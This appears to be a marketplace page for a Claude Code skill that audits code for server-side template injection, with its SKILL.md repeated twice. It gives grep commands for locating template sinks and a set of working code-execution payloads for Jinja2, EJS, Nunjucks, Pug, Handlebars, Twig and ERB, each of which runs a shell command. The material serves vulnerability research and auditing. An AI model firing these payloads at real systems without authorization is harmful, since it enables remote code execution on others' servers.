/ssti
Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution.
$ npx -y skills add ByamB4/find-cve-agent --skill ssti --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.
- You can call itInvoke it directly when you want it.
- Slash command
/ssti
Context preview
The summary Claude sees to decide when to auto-load this skill.
Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution.
SKILL.md
ssti.SKILL.mdname: ssti
description: "Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution."
metadata:
filePattern:
- "**/*.js"
- "**/*.ts"
- "**/*.py"
- "**/*.rb"
- "**/*.php"
bashPattern:
- "grep.*(render|template|compile|Handlebars|nunjucks|ejs|Jinja)"
priority: 85SSTI Detection
When to Use
Audit template engines, email template systems, report generators, CMS systems, and any code that compiles templates from user input.
Key Distinction
- User input **IN the template string** = VULNERABLE (SSTI)
- User input **IN template variables/context** = SAFE (this is normal template usage)
// VULNERABLE: user input IS the template
ejs.render(userInput, data);
// SAFE: user input is in the data, not the template
ejs.render(templateFromFile, { name: userInput });**Auto-escaping does NOT help.** Auto-escaping prevents XSS in template OUTPUT, not code execution in template COMPILATION.
Process
Step 1: Find Template Compilation
# JavaScript
grep -rn "Handlebars\.compile\|nunjucks\.renderString\|ejs\.render" .
grep -rn "pug\.compile\|pug\.render\|mustache\.render" .
grep -rn "template(\|compile(\|render(" . | grep -v node_modules
# Python
grep -rn "Template(\|from_string\|render_template_string" .
grep -rn "Jinja2\|jinja2\|Environment\|render_string" .
grep -rn "mako\.template\|Mako\|Template(" .
# Ruby
grep -rn "ERB\.new\|Erubi\|Slim\|Haml" .
# PHP
grep -rn "Twig.*createTemplate\|Twig.*Environment\|Blade\|Smarty" .Step 2: Check if First Argument is User-Controlled
For each template compilation call: 1. Is the template string hardcoded or loaded from a file? (SAFE) 2. Is the template string from user input? (VULNERABLE) 3. Is the template string from a database but originally user-supplied? (VULNERABLE)
Step 3: Check for Sandbox Mode
Some template engines have sandboxed modes:
grep -rn "SandboxedEnvironment\|sandbox\|restricted" .
Jinja2 SandboxedEnvironment restricts attribute access but may still be bypassable.
Engine-Specific Payloads
Detection Payload (Universal)
{{7*7}}If output contains `49`, template injection confirmed.
Jinja2 (Python)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}EJS (JavaScript)
<%= require('child_process').execSync('id') %>
<%= global.process.mainModule.require('child_process').execSync('id') %>Nunjucks (JavaScript)
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}Pug (JavaScript)
#{global.process.mainModule.require('child_process').execSync('id')}Handlebars (JavaScript)
Harder to exploit in modern versions. Check for helper registration:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id')"}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}ERB (Ruby)
<%= system('id') %>
<%= `id` %>CVSS Guidance
- SSTI to RCE (unauthenticated): CRITICAL 9.8
- SSTI to RCE (authenticated, low-priv): HIGH 8.8
- SSTI with sandboxed engine: HIGH 7.5 (sandbox bypass may exist)
- SSTI in client-side template (XSS only): MEDIUM 6.1
References
- [Sinks](references/sinks.md) -- Template compilation functions
- [False Positive Indicators](references/false-positive-indicators.md)
- [PoC Skeleton](references/poc-skeleton.md)
Read more
name: ssti
description: "Detect Server-Side Template Injection where user input is passed as the template string itself rather than as template variables, enabling code execution."
metadata:
filePattern:
- "**/*.js"
- "**/*.ts"
- "**/*.py"
- "**/*.rb"
- "**/*.php"
bashPattern:
- "grep.*(render|template|compile|Handlebars|nunjucks|ejs|Jinja)"
priority: 85SSTI Detection
When to Use
Audit template engines, email template systems, report generators, CMS systems, and any code that compiles templates from user input.
Key Distinction
- User input **IN the template string** = VULNERABLE (SSTI)
- User input **IN template variables/context** = SAFE (this is normal template usage)
// VULNERABLE: user input IS the template
ejs.render(userInput, data);
// SAFE: user input is in the data, not the template
ejs.render(templateFromFile, { name: userInput });**Auto-escaping does NOT help.** Auto-escaping prevents XSS in template OUTPUT, not code execution in template COMPILATION.
Process
Step 1: Find Template Compilation
# JavaScript
grep -rn "Handlebars\.compile\|nunjucks\.renderString\|ejs\.render" .
grep -rn "pug\.compile\|pug\.render\|mustache\.render" .
grep -rn "template(\|compile(\|render(" . | grep -v node_modules
# Python
grep -rn "Template(\|from_string\|render_template_string" .
grep -rn "Jinja2\|jinja2\|Environment\|render_string" .
grep -rn "mako\.template\|Mako\|Template(" .
# Ruby
grep -rn "ERB\.new\|Erubi\|Slim\|Haml" .
# PHP
grep -rn "Twig.*createTemplate\|Twig.*Environment\|Blade\|Smarty" .Step 2: Check if First Argument is User-Controlled
For each template compilation call: 1. Is the template string hardcoded or loaded from a file? (SAFE) 2. Is the template string from user input? (VULNERABLE) 3. Is the template string from a database but originally user-supplied? (VULNERABLE)
Step 3: Check for Sandbox Mode
Some template engines have sandboxed modes:
grep -rn "SandboxedEnvironment\|sandbox\|restricted" .
Jinja2 SandboxedEnvironment restricts attribute access but may still be bypassable.
Engine-Specific Payloads
Detection Payload (Universal)
{{7*7}}If output contains `49`, template injection confirmed.
Jinja2 (Python)
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}EJS (JavaScript)
<%= require('child_process').execSync('id') %>
<%= global.process.mainModule.require('child_process').execSync('id') %>Nunjucks (JavaScript)
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}Pug (JavaScript)
#{global.process.mainModule.require('child_process').execSync('id')}Handlebars (JavaScript)
Harder to exploit in modern versions. Check for helper registration:
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id')"}}
{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}Twig (PHP)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}ERB (Ruby)
<%= system('id') %>
<%= `id` %>CVSS Guidance
- SSTI to RCE (unauthenticated): CRITICAL 9.8
- SSTI to RCE (authenticated, low-priv): HIGH 8.8
- SSTI with sandboxed engine: HIGH 7.5 (sandbox bypass may exist)
- SSTI in client-side template (XSS only): MEDIUM 6.1
References
- [Sinks](references/sinks.md) -- Template compilation functions
- [False Positive Indicators](references/false-positive-indicators.md)
- [PoC Skeleton](references/poc-skeleton.md)
Open Source CVE Hunting Harness for Claude Code A Claude Code plugin that systematically finds real CVEs in open source packages through coordinated multi-agent security research.
Repo: ByamB4/find-cve-agent
Other skills on find-cve-agent.
- /advisory-mining
Mine GitHub Security Advisories and CVE databases for incomplete fixes, finding variant vulnerabilities in patched code or similar patterns in related packages.
Open skill - /auth-bypass
Detect authentication and authorization bypass vulnerabilities including missing auth middleware, JWT algorithm confusion, IDOR, and session fixation.
Open skill - /code-injection-codegen
Detect code injection vulnerabilities in packages that dynamically generate or evaluate code via new Function(), eval(), vm.run*, or template literal interpolation.
Open skill - /command-injection
Detect OS command injection via shell execution sinks where user-controlled input reaches system commands without proper sanitization.
Open skill - /cross-pollination
Cross-pollination multiplier technique: find a vulnerability in one package, then search for the same pattern across all similar packages to multiply findings.
Open skill - /decompression-bomb
Detect decompression bomb vulnerabilities where compressed input can expand to exhaust memory, targeting buffer-based decompression without size limits.
Open skill

